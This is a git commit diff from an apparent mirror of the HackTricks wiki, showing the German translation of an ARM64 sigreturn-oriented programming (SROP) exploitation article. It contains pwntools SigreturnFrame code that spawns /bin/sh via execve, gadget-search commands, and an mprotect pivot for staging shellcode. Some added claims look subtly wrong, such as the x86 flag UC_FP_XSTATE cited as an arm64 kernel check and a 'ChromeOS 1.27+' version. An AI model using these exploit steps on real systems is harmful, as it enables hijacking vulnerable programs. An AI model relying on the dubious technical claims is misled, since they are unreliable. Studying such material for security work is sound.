mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/rop-return-oriented-programing/srop
This commit is contained in:
parent
38d32967c5
commit
e449b3f8ba
@ -1,4 +1,4 @@
|
||||
# SROP - ARM64
|
||||
# {{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh"))
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006e0 # Call to sig
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh"))
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006e0 # Call to sig
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
@ -177,4 +177,53 @@ Und um die Adresse von `/bin/sh` zu umgehen, könntest du mehrere Umgebungsvaria
|
||||
../../common-binary-protections-and-bypasses/aslr/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Automatisches Finden von `sigreturn` Gadgets (2023-2025)
|
||||
|
||||
In modernen Distributionen wird das `sigreturn` Trampolin weiterhin von der **vDSO** Seite exportiert, aber der genaue Offset kann je nach Kernel-Versionen und Build-Flags wie BTI (`+branch-protection`) oder PAC variieren. Die Automatisierung seiner Entdeckung verhindert das Hard-Coding von Offsets:
|
||||
```bash
|
||||
# With ROPgadget ≥ 7.4
|
||||
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
|
||||
|
||||
# With rp++ ≥ 1.0.9 (arm64 support)
|
||||
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
|
||||
```
|
||||
Beide Werkzeuge verstehen **AArch64** Kodierungen und listen Kandidaten `mov x8, 0x8b ; svc #0` Sequenzen auf, die als *SROP Gadget* verwendet werden können.
|
||||
|
||||
> Hinweis: Wenn Binärdateien mit **BTI** kompiliert werden, ist die erste Anweisung jedes gültigen indirekten Sprungziels `bti c`. `sigreturn` Trampolines, die vom Linker platziert werden, enthalten bereits das richtige BTI-Landingpad, sodass das Gadget aus unprivilegiertem Code weiterhin verwendbar bleibt.
|
||||
|
||||
## Verknüpfung von SROP mit ROP (Pivot über `mprotect`)
|
||||
|
||||
`rt_sigreturn` ermöglicht es uns, *alle* allgemeinen Register und `pstate` zu steuern. Ein gängiges Muster auf x86 ist: 1) SROP verwenden, um `mprotect` aufzurufen, 2) zu einem neuen ausführbaren Stack mit Shell-Code pivotieren. Die genau gleiche Idee funktioniert auf ARM64:
|
||||
```python
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = constants.SYS_mprotect # 226
|
||||
frame.x0 = 0x400000 # page-aligned stack address
|
||||
frame.x1 = 0x2000 # size
|
||||
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
|
||||
frame.sp = 0x400000 + 0x100 # new pivot
|
||||
frame.pc = svc_call # will re-enter kernel
|
||||
```
|
||||
Nach dem Senden des Frames können Sie eine zweite Phase mit rohem Shell-Code bei `0x400000+0x100` senden. Da **AArch64** *PC-relative* Adressierung verwendet, ist dies oft bequemer als das Erstellen großer ROP-Ketten.
|
||||
|
||||
## Kernelvalidierung, PAC & Shadow-Stacks
|
||||
|
||||
Linux 5.16 führte eine strengere Validierung von Benutzersignalrahmen ein (Commit `36f5a6c73096`). Der Kernel überprüft jetzt:
|
||||
|
||||
* `uc_flags` muss `UC_FP_XSTATE` enthalten, wenn `extra_context` vorhanden ist.
|
||||
* Das reservierte Wort in `struct rt_sigframe` muss null sein.
|
||||
* Jeder Zeiger im *extra_context* Datensatz ist ausgerichtet und zeigt innerhalb des Benutzeradressraums.
|
||||
|
||||
`pwntools>=4.10` erstellt konforme Frames automatisch, aber wenn Sie sie manuell erstellen, stellen Sie sicher, dass Sie *reserviert* null-initialisieren und den SVE-Datensatz weglassen, es sei denn, Sie benötigen ihn wirklich – andernfalls liefert `rt_sigreturn` `SIGSEGV`, anstatt zurückzukehren.
|
||||
|
||||
Beginnend mit dem Mainstream Android 14 und Fedora 38 wird der Userland standardmäßig mit **PAC** (*Pointer Authentication*) und **BTI** aktiviert kompiliert (`-mbranch-protection=standard`). *SROP* selbst ist nicht betroffen, da der Kernel `PC` direkt aus dem erstellten Frame überschreibt und den authentifizierten LR, der auf dem Stack gespeichert ist, umgeht; jedoch muss jede **nachfolgende ROP-Kette**, die indirekte Sprünge ausführt, zu BTI-aktivierten Anweisungen oder PAC-ed Adressen springen. Denken Sie daran, dies bei der Auswahl von Gadgets zu berücksichtigen.
|
||||
|
||||
Shadow-Call-Stacks, die in ARMv8.9 eingeführt wurden (und bereits in ChromeOS 1.27+ aktiviert sind), sind eine Compiler-Ebene Minderung und *beeinträchtigen* SROP nicht, da keine Rückgabebefehle ausgeführt werden – der Kontrollfluss wird vom Kernel übertragen.
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [Linux arm64 Signalverarbeitung Dokumentation](https://docs.kernel.org/arch/arm64/signal.html)
|
||||
* [LWN – "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user